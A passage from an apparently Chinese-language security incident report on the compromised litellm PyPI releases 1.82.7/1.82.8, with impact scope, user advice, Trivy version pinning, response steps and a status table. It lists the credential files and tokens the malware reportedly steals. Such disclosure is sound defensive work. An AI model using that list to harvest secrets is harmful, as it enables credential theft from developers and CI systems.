leaf="">标签不可变性</span></strong><p><span leaf="">：此前标签是可变的（mutable），事件后已启用不可变标签（immutable tags）</span></p></li></ol><p data-line="333" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">恶意代码行为</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="334" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 恶意代码搜索并窃取以下凭据：</span></span><span leaf=""><br/></span><span leaf="">* ~/.ssh/id_rsa</span><span leaf=""><br/></span><span leaf="">* authorized_keys</span><span leaf=""><br/></span><span leaf="">* AWS (~/.aws/credentials)</span><span leaf=""><br/></span><span leaf="">* kube configs</span><span leaf=""><br/></span><span leaf="">* service account tokens</span><span leaf=""><br/></span><span leaf="">* .</span><span style="color: rgb(0, 122, 204);"><span leaf="">env</span></span><span leaf=""> files everywhere</span><span leaf=""><br/></span><span leaf="">* database configs</span><span leaf=""><br/></span><span leaf="">* API keys</span><span leaf=""><br/></span><span leaf="">* .git-credentials</span><span leaf=""><br/></span><span leaf="">* GitHub Actions 环境变量（包括 PYPI_TOKEN）</span></code></pre><p data-line="348" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">影响范围确认</span></strong><span leaf="">：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">GitHub-hosted runners</span></strong><p><span leaf="">: 可能泄露仓库 secrets</span></p></li><li><strong><span leaf="">Self-hosted runners</span></strong><p><span leaf="">: 可能泄露更广泛的系统凭据</span></p></li><li><strong><span leaf="">Docker 镜像</span></strong><p><span leaf="">：未受影响（仅 GitHub Actions 标签被篡改）</span></p></li></ul><p data-line="353" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">用户建议</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">立即轮换所有可能被窃取的凭据</span></p></li><li><p><span leaf="">检查 CI/CD 日志中是否使用了受影响的版本</span></p></li><li><p><span leaf="">使用固定版本号或提交哈希引用 GitHub Actions</span></p></li><li><p><span leaf="">不要使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">@master</span></code><span leaf=""> 或 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">@main</span></code><span leaf=""> 分支引用生产环境</span></p></li></ol><h3 data-line="359" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">7️⃣ 为什么 Trivy 会成为攻击入口？</span></h3><p data-line="361" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">讽刺的事实</span></strong><span leaf="">：Trivy 本身是一个安全扫描工具，用于检测漏洞和恶意代码。</span></p><p data-line="363" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">被利用原因</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">高信任度</span></strong><p><span leaf="">：安全工具通常被授予更高的权限</span></p></li><li><strong><span leaf="">深度集成</span></strong><p><span leaf="">：Trivy 深度集成到 CI/CD 流程中</span></p></li><li><strong><span leaf="">依赖复杂</span></strong><p><span leaf="">：Trivy 自身也有大量依赖，增加了攻击面</span></p></li><li><strong><span leaf="">自动化执行</span></strong><p><span leaf="">：每次代码变更都会自动运行，提供了稳定的执行机会</span></p></li></ol><h3 data-line="369" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6️⃣ 修复措施</span></h3><p data-line="371" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">litellm 团队的响应：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="373" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 在 security_scans.sh 中固定 Trivy 版本</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 修复前：</span></span><span leaf=""><br/></span><span leaf="">trivy fs .</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 修复后：</span></span><span leaf=""><br/></span><span leaf="">trivy@v0.50.0 fs .  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 固定到已知安全的版本</span></span></code></pre><p data-line="382" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">长期改进建议</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">使用 PyPI Trusted Publishers (OIDC) 替代 API Token</span></p></li><li><p><span leaf="">对安全工具本身进行更严格的版本锁定</span></p></li><li><p><span leaf="">实施最小权限原则，限制 CI/CD 工具的访问范围</span></p></li><li><p><span leaf="">增加发布前的多重审批流程</span></p></li></ol><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="390" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安全事件关键发现（续）</span></h2><h3 data-line="392" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">响应措施</span></h3><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">立即隔离</span></strong><p><span leaf="">: PyPI 隔离整个 litellm 包</span></p></li><li><strong><span leaf="">入口封堵</span></strong><p><span leaf="">: 固定 trivvy 版本</span></p></li><li><strong><span leaf="">发布暂停</span></strong><p><span leaf="">: 移除所有发布/部署工作流</span></p></li><li><strong><span leaf="">安全审计</span></strong><p><span leaf="">: 邀请 Google Mandiant 团队参与调查</span></p></li><li><strong><span leaf="">用户通知</span></strong><p><span leaf="">: 发布详细的安全公告</span></p></li></ol><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="402" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前状态 (2026-03-25)</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">项目</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">状态</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">恶意版本 v1.82.7/v1.82.8</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ 已删除</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">litellm PyPI 包</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">⚠️ 暂时下架</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">发布工作流</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ 已暂停</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Docker 镜像</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ 未受影响</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">安全调查</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">🔄 进行中 (Mandiant)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">官方公告</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">✅ 已发布</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="415" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">相关 Issue 列表</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">Issue #</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">标题</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">状态</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24518</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">[Security]: litellm PyPI package (v1.82.7 + v1.82.8) compromised — full timeline and status</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">OPEN</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">llm translation</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24515</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Security: litellm_init.pth contains data-exfiltration malware</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">OPEN</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">llm translation</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24521</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">SECURITY: litellm 1.82.8 on PyPI contains malicious credential-stealing payload</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">OPEN</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">llm translation</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24512</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">OPEN</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">isfinne</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span 